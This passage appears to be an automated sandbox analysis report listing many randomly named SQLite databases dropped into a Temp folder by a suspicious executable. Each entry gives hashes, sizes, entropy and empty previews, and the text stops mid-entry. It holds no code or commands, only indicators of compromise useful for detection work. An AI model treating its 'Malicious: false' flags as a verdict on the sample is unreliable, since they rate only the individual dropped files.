MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lwbCY2LUif

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mA91P9NPGp

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mHnFW0X4Ya

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mLEMjS6Vjv

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mg8otx2Ufq

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mgaXW1gCdR

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\n6KBSMlABB

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nGl3QBNVkG

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nOFyiBTAiS

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nd4llKLQfk

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nmHrccIoBq

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nyzFZHnfhZ

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oajajD4LcO

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\odG4Jf4V8l

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\omiPcwbmsd

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ooKgCi3rjf

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pnsvpWHdBo

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\q51jzPnYAV

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\q5YnDlkpA1

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qt7NsSrBtr

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rkGN08ApGn

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\roL1791RKk

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\s41XjVl30q

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sHdAduQ9eT

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sHdJQtl6jQ

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sU49SJPTFu

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
